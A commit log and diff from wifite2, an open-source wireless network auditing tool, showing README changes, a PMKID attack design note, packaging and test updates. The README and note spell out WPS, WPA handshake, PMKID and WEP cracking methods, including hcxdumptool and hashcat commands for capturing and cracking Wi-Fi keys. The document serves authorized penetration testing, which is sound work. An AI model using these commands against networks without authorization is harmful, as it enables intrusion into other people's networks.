59 Commits

Author SHA1 Message Date
derv82
838ea43a73 2.2.4: Version bump for recent fixes (more ctrl+c options).
Includes:
* More options when interrupting mid-attack (continue/skip/exit)
* Show error when --wps-only and --pmkid are both specified
* Use `--force` when calling Bully to force-continue.
* README (updated, new screenshots).
2018-09-02 12:33:03 -07:00
derv82
13e51576d5 Updating screenshots 2018-09-02 12:31:12 -07:00
derv82
0f8b6d6a66 Use --force with bully 2018-09-02 12:04:04 -07:00
derv82
467f40d68a Fixing logic with switches, updating README.
Some switches are not compatible (--wps-only + --pmkid).
Wifite detects & stops if options are incompatible.

README was oudated (said no PIN attack), updated some URLs.
2018-09-02 10:59:11 -07:00
derv82
7309dfcce6 Interrupting mid-attack, users can Continue/Skip/Exit. 2018-09-02 09:58:26 -07:00
derv82
d7c51461f6 Detect when reaver does not support --pixie-dust, use bully if possible. 2018-09-01 14:47:16 -07:00
derv82
5d77cb63a3 Avoid WPS if no reaver+bully. Use bully if reaver isn't available. 2018-08-26 22:29:23 -07:00
derv82
e30a8cad07 Fix Airmon output-parsing.
On latest ubuntu, apt-get install aircrack, output is slightly different.
2018-08-26 22:01:54 -07:00
derv82
17bd96f297 Python improvements, messaging improvements.
Small code changed as proposed in #128.
This should close #128.

Slowly moving towards Camel-case in script output.
2018-08-24 19:37:55 -07:00
derv82
7f0197e80e Rewording some printed text. 2018-08-24 19:17:06 -07:00
derv82
2e671e0273 Detect when AP has WPS Locked, show in target list 2018-08-24 16:50:24 -07:00
derv82
141934a7b1 Bully: Stop if AP becomes locked 2018-08-23 19:05:20 -07:00
derv82
750fe086fa Reaver: Stop if AP becomes locked. Config/Args cleanup 2018-08-23 18:57:56 -07:00
derv82
9beae4beb2 2.2.3: Version bump for WPS PIN changes
Brought back the WPS PIN attack as asked in #90.

Also in this commit: Fixed PIN counter in reaver's PIN attack.
2018-08-23 15:37:43 -07:00
derv82
a637855ab4 Fix & optimize reaver output parsing. 2018-08-23 15:11:52 -07:00
derv82
75d4d8e99d Bully works. Pixie and PIN attacks are separate attacks. 2018-08-23 14:46:21 -07:00
derv82
3f947b98c0 Reaver PIN attack counts time forwards, does not time out. 2018-08-23 08:32:30 -07:00
derv82
aac6740fc1 Small fixes for Python 3 2018-08-23 08:31:57 -07:00
derv82
d6c1c8d82e Refactor/reformat config + args. 2018-08-23 08:30:41 -07:00
derv82
96db340b57 (Reaver) Run WPS Pin Attack if Pixie-Dust fails. 2018-08-22 16:42:16 -07:00
derv82
04e67dba21 2.2.2: Version bump for --crack improvements. Fix wordlists.
Finally clears up #102.
2018-08-21 14:02:54 -07:00
derv82
f641ea53c4 Fix but when cracking with John, small fixes.
* --crack commands printed consistently (same color/format).
* Only warn about PMKID -> hashcat once if any selected handshakes are PMKIDs
2018-08-21 13:55:22 -07:00
derv82
d01470a8e4 Bringing back Wifite.py
Because why not.
2018-08-21 00:16:15 -07:00
derv82
dd0e44cf53 --crack: Dependency management, avoid dupes in cracked.txt
* Dupes are skipped if everything *except* date matches (same bssid/ssid/type/key)
* John: Detect and use OpenCL or CUDA using `john --list=formats`
* Removed `wifite.py` as it's no longer used & is confusing.
2018-08-21 00:04:21 -07:00
derv82
4173ef46e5 --crack supports hashcat, aircrack, john, cowpatty, and pyrit.
* Still not "print" option for --crack.
* Checks hashcat for devices, uses --force if no devices are found.
* Interrupting --crack stops entire process, not just a single crack attempt
* Changed wordlist location, hopefully completes #102.
2018-08-20 19:33:42 -07:00
derv82
a063f08388 Updating README
Moved things around, added more info, added links to required tools.
2018-08-20 11:44:10 -07:00
derv82
b889cb93af 2.2.1: Version bump for setup.py changes. Save wordlists to share/dict
Should resolve #102
2018-08-20 10:53:48 -07:00
derv82
95798c36f6 Install to /usr/sbin/wifite, save wordlists to /usr/local/share/wordlists/
As asked in #102.
2018-08-19 22:02:14 -07:00
derv82
8b786b70b0 Added setup.py. Run: python -m wifite
As asked by @blshkv in #102.

Running: `sudo python -m wifite`
Install: `sudo python setup.py install`

These steps (and "uninstalling") are mentioned in the README.
2018-08-19 15:32:14 -07:00
derv82
a157132387 2.1.9: --pmkid option, cleaned up --cracked, other bug fixes.
PMKID:

* `--pmkid` option only attacks WPA networks with PMKID capture + crack
* Decreased PMKID capture time from 60 seconds to 15 seconds.
* Ignores PMKID attack if `--wps-only` is set.

WPS:

* Ctrl+C while waiting for `bully` to fetch PSK = remembers PIN, PSK is unknown.

Misc:

* `--cracked` prints results on single lines (much easier to read)
* Fixed typo when required dependencies are not found (closes #127)
2018-08-19 10:37:27 -07:00
derv82
ebb7cac91c Removing the last of the double-quoted strings (now single-quoted) 2018-08-18 03:01:52 -07:00
derv82
c4ed911490 Rewrote --crack behavior; supports multiple handshakes at once. 2018-08-18 02:55:12 -07:00
derv82
0977f48d0c Documentation, code-formatting, and refactoring.
* Added some docs, updated existing docs.
* Use single-quotes for strings when possible.
* Color.pexception() prints exception and stack trace.
2018-08-17 03:46:58 -07:00
derv82
6adca64154 2.1.8: Check hashcat tools before trying PMKID attack.
Should resolve #124.

Also, capturing PMKID will skip WPA handshake capture.
2018-08-16 11:10:03 -07:00
derv82
7ed30f0973 Making all .py files executable 2018-08-16 01:56:42 -07:00
derv82
ba847442d5 Don't overwrite john files in --crack output.
For pull request #117
2018-08-16 01:23:35 -07:00
derv82
f76c339bb7 Avoiding needless mac_address lookup, empty interfaces, banner tweak.
mac_address lookup & empty iface for #112.
Banner tweak for #92
2018-08-16 01:23:35 -07:00
derv82
d7120bca50 2.1.7: Version bump for recent updates (PMKID, AttributeError fix). 2018-08-16 01:23:35 -07:00
derv82
e48f3bb035 Avoid AttributeErrors, support re-cracking PMKIDs
Process.__del__() swallows AttributeErrors now (for #120).

And hashcat won't output the key if it's already been cracked (it's in the pot file).
So we run hashcat again, with the --show parameter. This does not try to crack again.
2018-08-16 01:23:35 -07:00
derv82
fd3c955c48 Added Hashcat library, PMKID is persisted in ./hs/ and re-used 2018-08-16 01:23:35 -07:00
derv82
dd7e93666a Cleaning up PMKID attack. 2018-08-16 01:23:35 -07:00
derv82
936230dd50 Added PMKID attack. Simplified attack-loop. 2018-08-16 01:23:35 -07:00
derv82
0d44a6bc3d Fix bug in dependency failure. 2018-08-16 01:23:35 -07:00
derv82
305d6b9e3b Cleaning up wifite.py, added wordlist.
Moved logic from main module into helper classes.
Wordlist from https://github.com/berzerk0/Probable-Wordlists/tree/master/Real-Passwords/WPA-Length
2018-08-16 01:23:35 -07:00
derv82
c335391bca Only depend on 'aicrack' to avoid messages for entire air* suite. 2018-08-16 01:23:35 -07:00
derv
53577e6031 Merge pull request #118 from examin/patch-2
Fixed grammar ReadMe.md
2018-08-16 01:23:28 -07:00
derv
830d68d027 Merge pull request #106 from rhertzog/skip-tests
Don't run handshake tests when the required tools are not available
2018-08-16 01:22:34 -07:00
manish sharma
6cf1b81d3f Fixed grammar ReadMe.md 2018-07-06 05:17:16 +05:30
Raphaël Hertzog
ccc0e806ec Don't run handshake tests when the required tools are not available 2018-06-15 14:33:28 +02:00
derv82
f24ec55999 Silently ignore failure to kill conflicting processes.
Resolves #97
2018-06-09 22:48:10 -04:00
derv82
9d1db5966b Change shebang from /usr/bin/python to /usr/bin/env python
Resolves #99
2018-06-09 22:46:30 -04:00
derv
c085a7e7f0 Merge pull request #98 from cclauss/patch-1
Old style exception won't work in Python 3
2018-06-09 19:37:00 -07:00
derv
4061bb9618 Merge pull request #96 from ChunshengZhao/master
[wpa.py] Fixed TypeError in python3
2018-06-09 19:35:55 -07:00
derv
d7fcda0d8c Merge pull request #94 from EdwardBetts/spelling
Correct spelling mistakes.
2018-06-09 19:35:16 -07:00
derv82
1edba23c32 2.1.6: Support non-ASCII ESSIDs in scanner. Don't silently exit on crash.
Resolves #88
Resolves #92
Might be related to #85
2018-06-09 22:22:38 -04:00
cclauss
64189a0bec Old style exception won't work in Python 3
Old style exceptions were removed in Python 3.
2018-06-09 21:59:12 +02:00
ZhaoChunsheng
92917a4bbd [wpa.py] Fixed TypeError in python3
"TypeError: cannot use a string pattern on a bytes-like object"
The exception only happens in python3, python2 is all right.
2018-06-09 22:40:51 +08:00
Edward Betts
feb9dafa16 Correct spelling mistakes. 2018-06-08 20:32:50 +01:00
derv82
96e846aa82 Removing EvilTwin-related dependencies
Resolves #89
2018-05-27 20:27:37 -04:00
58 changed files with 7632 additions and 1336 deletions

4
.gitignore vendored
View File

@@ -5,3 +5,7 @@ hs/
*.bak *.bak
.idea/ .idea/
cracked.txt cracked.txt
MANIFEST
dist/
build/
files.txt

View File

@@ -3,7 +3,7 @@ FROM python:2.7.14-jessie
ENV DEBIAN_FRONTEND noninteractive ENV DEBIAN_FRONTEND noninteractive
ENV HASHCAT_VERSION hashcat-3.6.0 ENV HASHCAT_VERSION hashcat-3.6.0
# Intall requirements # Install requirements
RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -y RUN apt-get update && apt-get upgrade -y
RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y

2
MANIFEST.in Normal file
View File

@@ -0,0 +1,2 @@
include README.md
include wordlist-top4800-probable.txt

33
PMKID.md Normal file
View File

@@ -0,0 +1,33 @@
### PMKID Attack
See https://hashcat.net/forum/thread-7717.html
### Steps
1. Start `hcxdumptool` (daemon)
* `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1`
* Should also use `-c <channel>`, `--filterlist` and `--filtermode` to target a specific client
* Could be a new attack type: `wifite.attack.pmkid`
2. Detect when PMKID is found.
* `hcxpcaptool -z pmkid.16800 pmkid.pcapng`
* Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex).
3. Save `.16800` file (to `./hs/`? or `./pmkids/`?)
* New result type: `pmkid_result`
* Add entry to `cracked.txt`
4. Run crack attack using hashcat:
* `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt`
### Problems
* Requires latest hashcat to be installed. This might be in a different directory.
* Use can specify path to hashcat? Yeck...
* % hashcat -h | grep 16800
* 16800 | WPA-PMKID-PBKDF2
* If target can't be attacked... we need to detect this failure mode.
* Might need to scrape `hcxdumptool`'s output
* Look at `pmkids()` func in .bashrc
* hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null
* Check OUTPUT.16800 for the ESSID.
* Wireless adapter support is minimal, apparently.
* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily

191
README.md
View File

@@ -1,12 +1,104 @@
Wifite 2 Wifite
======== ======
A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks. This repo is a complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.
Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches!
What's new in Wifite2? Wifite is designed to use all known methods for retrieving the password of a wireless access point (router). These methods include:
---------------------- 1. WPS: The [Offline Pixie-Dust attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)
1. WPS: The [Online Brute-Force PIN attack](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Online_brute-force_attack)
2. WPA: The [WPA Handshake Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.
3. WPA: The [PMKID Hash Capture](https://hashcat.net/forum/thread-7717.html) + offline crack.
4. WEP: Various known attacks against WEP, including *fragmentation*, *chop-chop*, *aireplay*, etc.
Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.
Supported Operating Systems
---------------------------
Wifite is designed specifically for the latest version of [**Kali** Linux](https://www.kali.org/). [ParrotSec](https://www.parrotsec.org/) is also supported.
Other pen-testing distributions (such as BackBox or Ubuntu) have outdated versions of the tools used by Wifite. Do not expect support unless you are using the latest versions of the *Required Tools*, and also [patched wireless drivers that support injection]().
Required Tools
--------------
First and foremost, you will need a wireless card capable of "Monitor Mode" and packet injection (see [this tutorial for checking if your wireless card is compatible](http://www.aircrack-ng.org/doku.php?id=compatible_cards) and also [this guide](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup#Offline_brute-force_attack)). There are many cheap wireless cards that plug into USB available from online stores.
Second, only the latest versions of these programs are supported and must be installed for Wifite to work properly:
**Required:**
* `python`: Wifite is compatible with both `python2` and `python3`.
* [`iwconfig`](https://wiki.debian.org/iwconfig): For identifying wireless devices already in Monitor Mode.
* [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig): For starting/stopping wireless devices.
* [`Aircrack-ng`](http://aircrack-ng.org/) suite, includes:
* [`airmon-ng`](https://tools.kali.org/wireless-attacks/airmon-ng): For enumerating and enabling Monitor Mode on wireless devices.
* [`aircrack-ng`](https://tools.kali.org/wireless-attacks/aircrack-ng): For cracking WEP .cap files and WPA handshake captures.
* [`aireplay-ng`](https://tools.kali.org/wireless-attacks/aireplay-ng): For deauthing access points, replaying capture files, various WEP attacks.
* [`airodump-ng`](https://tools.kali.org/wireless-attacks/airodump-ng): For target scanning & capture file generation.
* [`packetforge-ng`](https://tools.kali.org/wireless-attacks/packetforge-ng): For forging capture files.
**Optional, but Recommended:**
* [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html): For detecting WPS networks and inspecting handshake capture files.
* [`reaver`](https://github.com/t6x/reaver-wps-fork-t6x): For WPS Pixie-Dust & brute-force attacks.
* Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found.
* [`bully`](https://github.com/aanarchyy/bully): For WPS Pixie-Dust & brute-force attacks.
* Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver.
* Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN.
* [`coWPAtty`](https://tools.kali.org/wireless-attacks/cowpatty): For detecting handshake captures.
* [`pyrit`](https://github.com/JPaulMora/Pyrit): For detecting handshake captures.
* [`hashcat`](https://hashcat.net/): For cracking PMKID hashes.
* [`hcxdumptool`](https://github.com/ZerBea/hcxdumptool): For capturing PMKID hashes.
* [`hcxpcaptool`](https://github.com/ZerBea/hcxtools): For converting PMKID packet captures into `hashcat`'s format.
Run Wifite
----------
```
git clone https://github.com/derv82/wifite2.git
cd wifite2
sudo ./Wifite.py
```
Install Wifite
--------------
To install onto your computer (so you can just run `wifite` from any terminal), run:
```bash
sudo python setup.py install
```
This will install `wifite` to `/usr/sbin/wifite` which should be in your terminal path.
**Note:** Uninstalling is [not as easy](https://stackoverflow.com/questions/1550226/python-setup-py-uninstall#1550235). The only way to uninstall is to record the files installed by the above command and *remove* those files:
```bash
sudo python setup.py install --record files.txt \
&& cat files.txt | xargs sudo rm \
&& rm -f files.txt
```
Brief Feature List
------------------
* [PMKID hash capture](https://hashcat.net/forum/thread-7717.html) (enabled by-default, force with: `--pmkid`)
* WPS Offline Brute-Force Attack aka "Pixie-Dust". (enabled by-default, force with: `--wps-only --pixie`)
* WPS Online Brute-Force Attack aka "PIN attack". (enabled by-default, force with: `--wps-only --no-pixie`)
* WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture (enabled by-default, force with: `--no-wps`)
* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available)
* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte)
* Automatically decloaks hidden access points while scanning or attacking.
* Note: Only works when channel is fixed. Use `-c <channel>`
* Disable this using `--no-deauths`
* 5Ghz support for some wireless cards (via `-5` switch).
* Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`)
* Stores cracked passwords and handshakes to the current directory (`--cracked`)
* Includes information about the cracked access point (Name, BSSID, Date, etc).
* Easy to try to crack handshakes or PMKID hashes against a wordlist (`--crack`)
What's new?
-----------
Comparing this repo to the "old wifite" @ https://github.com/derv82/wifite
* **Less bugs** * **Less bugs**
* Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this). * Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this).
@@ -19,100 +111,41 @@ What's new in Wifite2?
* **Educational** * **Educational**
* The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands. * The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands.
* This can help debug why Wifite is not working for you. Or so you can learn how these tools are used. * This can help debug why Wifite is not working for you. Or so you can learn how these tools are used.
* Actively developed (as of March 2018). * More-actively developed.
* Python 3 support. * Python 3 support.
* Sweet new ASCII banner. * Sweet new ASCII banner.
What's gone in Wifite2? What's gone?
----------------------- ------------
* No more WPS PIN attack, because it can take days on-average.
* However, the Pixie-Dust attack is still an option.
* Some command-line arguments (`--wept`, `--wpst`, and other confusing switches). * Some command-line arguments (`--wept`, `--wpst`, and other confusing switches).
* You can still access some of these, try `./Wifite.py -h -v` * You can still access some of these obscure options, try `wifite -h -v`
What's not new? What's not new?
--------------- ---------------
* (Mostly) Backwards compatible with the original `wifite`'s arguments.
* (Mostly) Backwards compatibile with the original `wifite`'s arguments.
* Same text-based interface everyone knows and loves. * Same text-based interface everyone knows and loves.
Brief Feature List
------------------
* Reaver (or `-bully`) Pixie-Dust attack (enabled by-default, force with: `--wps-only`)
* WPA handshake capture (enabled by-default, force with: `--no-wps`)
* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available)
* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte)
* Automatically decloaks hidden access points while scanning or attacking.
* Note: Only works when channel is fixed. Use the `-c <channel>` switch.
* Disable this via `--no-deauths` switch
* 5Ghz support for some wireless cards (via `-5` switch).
* Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`)
* Stores cracked passwords and handshakes to the current directory (`--cracked`)
* Includes metadata about the access point.
* Provides commands to crack captured WPA handshakes (`--crack`)
* Includes all commands needed to crack using `aircrack-ng`, `john`, `hashcat`, or `pyrit`.
Linux Distribution Support
--------------------------
Wifite2 is designed specifically for the latest version of **Kali**'s rolling release (tested on Kali 2017.2, updated Jan 2018).
Other pen-testing distributions (such as BackBox) have outdated versions of the tools used by Wifite; these distributions are not supported.
Required Tools
--------------
Only the latest versions of these programs are supported:
**Required:**
* `iwconfig`: For identifying wireless devices already in Monitor Mode.
* `ifconfig`: For starting/stopping wireless devices.
* `Aircrack-ng` suite, includes:
* `aircrack-ng`: For cracking WEP .cap files and and WPA handshake captures.
* `aireplay-ng`: For deauthing access points, replaying capture files, various WEP attacks.
* `airmon-ng`: For enumerating and enabling Monitor Mode on wireless devices.
* `airodump-ng`: For target scanning & capture file generation.
* `packetforge-ng`: For forging capture files.
**Optional, but Recommended:**
* `tshark`: For detecting WPS networks and inspecting handshake capture files.
* `reaver`: For WPS Pixie-Dust attacks.
* Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found.
* `bully`: For WPS Pixie-Dust attacks.
* Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver.
* Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN.
* `cowpatty`: For detecting handshake captures.
* `pyrit`: For detecting handshake captures.
Installing & Running
--------------------
```
git clone https://github.com/derv82/wifite2.git
cd wifite2
./Wifite.py
```
Screenshots Screenshots
----------- -----------
Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then fetching WPA key using `bully`:
![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/Q5KSDbg.gif)
Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then retrieving WPA PSK using `bully`: -------------
![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/I2W0wND.gif)
Cracking WPA key using PMKID attack:
![PMKID attack](https://i.imgur.com/CR8oOp0.gif)
------------- -------------
Decloaking & cracking a hidden access point (via the WPA Handshake attack): Decloaking & cracking a hidden access point (via the WPA Handshake attack):
![Decloaking and Cracking a hidden access point](http://i.imgur.com/MTMwSzM.gif) ![Decloaking and Cracking a hidden access point](https://i.imgur.com/F6VPhbm.gif)
------------- -------------
Cracking a weak WEP password (using the WEP Replay attack): Cracking a weak WEP password (using the WEP Replay attack):
![Cracking a weak WEP password](http://i.imgur.com/VIeltx9.gif) ![Cracking a weak WEP password](https://i.imgur.com/jP72rVo.gif)
------------- -------------
Various cracking options (using `--crack` option): Cracking a pre-captured handshake using John The Ripper (via the `--crack` option):
![--crack option](http://i.imgur.com/rydOakW.png) ![--crack option](https://i.imgur.com/iHcfCjp.gif)

View File

@@ -11,7 +11,7 @@ When a dependency is not found, Wifite should walk the user through installing a
The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc). The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc).
Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achive this. Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achieve this.
Requirements: Requirements:
@@ -243,7 +243,7 @@ Not "/py":
**AIRCRACK** **AIRCRACK**
* Start aircrack-ng for WEP: Needs pcap file with IVS * Start aircrack-ng for WEP: Needs pcap file with IVS
* Start aircrack-ng for WPA: Needs pcap file containig Handshake * Start aircrack-ng for WPA: Needs pcap file containing Handshake
* Check status of aircrack-ng (`percenage`, `keys-tried`) * Check status of aircrack-ng (`percenage`, `keys-tried`)
* Return cracked key * Return cracked key

View File

@@ -1,5 +1,7 @@
#!/usr/bin/python #!/usr/bin/env python
from wifite import wifite # Note: This script runs Wifite from within a cloned git repo.
# The script `bin/wifite` is designed to be run after installing (from /usr/sbin), not from the cwd.
wifite.run() from wifite import __main__
__main__.entry_point()

4
bin/wifite Executable file
View File

@@ -0,0 +1,4 @@
#!/usr/bin/env python
from wifite import __main__
__main__.entry_point()

2
setup.cfg Normal file
View File

@@ -0,0 +1,2 @@
[install]
install-scripts=/usr/sbin

39
setup.py Normal file
View File

@@ -0,0 +1,39 @@
from distutils.core import setup
from wifite.config import Configuration
setup(
name='wifite',
version=Configuration.version,
author='derv82',
author_email='derv82@gmail.com',
url='https://github.com/derv82/wifite2',
packages=[
'wifite',
'wifite/attack',
'wifite/model',
'wifite/tools',
'wifite/util',
],
data_files=[
('share/dict', ['wordlist-top4800-probable.txt'])
],
entry_points={
'console_scripts': [
'wifite = wifite.wifite:entry_point'
]
},
license='GNU GPLv2',
scripts=['bin/wifite'],
description='Wireless Network Auditor for Linux',
#long_description=open('README.md').read(),
long_description='''Wireless Network Auditor for Linux.
Cracks WEP, WPA, and WPS encrypted networks.
Depends on Aircrack-ng Suite, Tshark (from Wireshark), and various other external tools.''',
classifiers = [
"Programming Language :: Python :: 2.7",
"Programming Language :: Python :: 3"
]
)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import sys import sys

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import sys import sys

View File

@@ -1,10 +1,11 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import sys import sys
sys.path.insert(0, '..') sys.path.insert(0, '..')
from wifite.model.handshake import Handshake from wifite.model.handshake import Handshake
from wifite.util.process import Process
import unittest import unittest
@@ -23,25 +24,29 @@ class TestHandshake(unittest.TestCase):
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
try: try:
hs.analyze() hs.analyze()
except Exception, e: except Exception:
fail() fail()
@unittest.skipUnless(Process.exists('tshark'), 'tshark is missing')
def testHandshakeTshark(self): def testHandshakeTshark(self):
hs_file = self.getFile('handshake_exists.cap') hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
assert(len(hs.tshark_handshakes()) > 0) assert(len(hs.tshark_handshakes()) > 0)
@unittest.skipUnless(Process.exists('pyrit'), 'pyrit is missing')
def testHandshakePyrit(self): def testHandshakePyrit(self):
hs_file = self.getFile('handshake_exists.cap') hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
assert(len(hs.pyrit_handshakes()) > 0) assert(len(hs.pyrit_handshakes()) > 0)
@unittest.skipUnless(Process.exists('cowpatty'), 'cowpatty is missing')
def testHandshakeCowpatty(self): def testHandshakeCowpatty(self):
hs_file = self.getFile('handshake_exists.cap') hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
hs.divine_bssid_and_essid() hs.divine_bssid_and_essid()
assert(len(hs.cowpatty_handshakes()) > 0) assert(len(hs.cowpatty_handshakes()) > 0)
@unittest.skipUnless(Process.exists('aircrack-ng'), 'aircrack-ng is missing')
def testHandshakeAircrack(self): def testHandshakeAircrack(self):
hs_file = self.getFile('handshake_exists.cap') hs_file = self.getFile('handshake_exists.cap')
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from wifite.tools.airodump import Airodump from wifite.tools.airodump import Airodump

0
wifite/__init__.py Normal file → Executable file
View File

105
wifite/__main__.py Executable file
View File

@@ -0,0 +1,105 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
try:
from .config import Configuration
except (ValueError, ImportError) as e:
raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)
from .util.color import Color
import os
import sys
class Wifite(object):
def __init__(self):
'''
Initializes Wifite. Checks for root permissions and ensures dependencies are installed.
'''
self.print_banner()
Configuration.initialize(load_interface=False)
if os.getuid() != 0:
Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')
Color.pl('{!} {R}re-run with {O}sudo{W}')
Configuration.exit_gracefully(0)
from .tools.dependency import Dependency
Dependency.run_dependency_check()
def start(self):
'''
Starts target-scan + attack loop, or launches utilities dpeending on user input.
'''
from .model.result import CrackResult
from .model.handshake import Handshake
from .util.crack import CrackHelper
if Configuration.show_cracked:
CrackResult.display()
elif Configuration.check_handshake:
Handshake.check()
elif Configuration.crack_handshake:
CrackHelper.run()
else:
Configuration.get_monitor_mode_interface()
self.scan_and_attack()
def print_banner(self):
'''Displays ASCII art of the highest caliber.'''
Color.pl(r' {G} . {GR}{D} {W}{G} . {W}')
Color.pl(r' {G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version)
Color.pl(r' {G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}')
Color.pl(r' {G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}')
Color.pl(r' {G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}')
Color.pl('')
def scan_and_attack(self):
'''
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
from .util.scanner import Scanner
from .attack.all import AttackAll
Color.pl('')
# Scan
s = Scanner()
targets = s.select_targets()
# Attack
attacked_targets = AttackAll.attack_multiple(targets)
Color.pl('{+} Finished attacking {C}%d{W} target(s), exiting' % attacked_targets)
##############################################################
def entry_point():
try:
wifite = Wifite()
wifite.start()
except Exception as e:
Color.pexception(e)
Color.pl('\n{!} {R}Exiting{W}\n')
except KeyboardInterrupt:
Color.pl('\n{!} {O}Interrupted, Shutting down...{W}')
Configuration.exit_gracefully(0)
if __name__ == '__main__':
entry_point()

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/env python
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .util.color import Color from .util.color import Color
@@ -9,7 +9,8 @@ class Arguments(object):
''' Holds arguments used by the Wifite ''' ''' Holds arguments used by the Wifite '''
def __init__(self, configuration): def __init__(self, configuration):
self.verbose = any(['-v' in word for word in sys.argv]) # Hack: Check for -v before parsing args; so we know which commands to display.
self.verbose = '-v' in sys.argv or '-hv' in sys.argv or '-vh' in sys.argv
self.config = configuration self.config = configuration
self.args = self.get_arguments() self.args = self.get_arguments()
@@ -23,25 +24,15 @@ class Arguments(object):
''' Returns parser.args() containing all program arguments ''' ''' Returns parser.args() containing all program arguments '''
parser = argparse.ArgumentParser(usage=argparse.SUPPRESS, parser = argparse.ArgumentParser(usage=argparse.SUPPRESS,
formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=80, width=130)) formatter_class=lambda prog: argparse.HelpFormatter(
prog, max_help_position=80, width=130))
glob = parser.add_argument_group('SETTINGS') self._add_global_args(parser.add_argument_group(Color.s('{C}SETTINGS{W}')))
self._add_global_args(glob) self._add_wep_args(parser.add_argument_group(Color.s('{C}WEP{W}')))
self._add_wpa_args(parser.add_argument_group(Color.s('{C}WPA{W}')))
wep_group = parser.add_argument_group('WEP') self._add_wps_args(parser.add_argument_group(Color.s('{C}WPS{W}')))
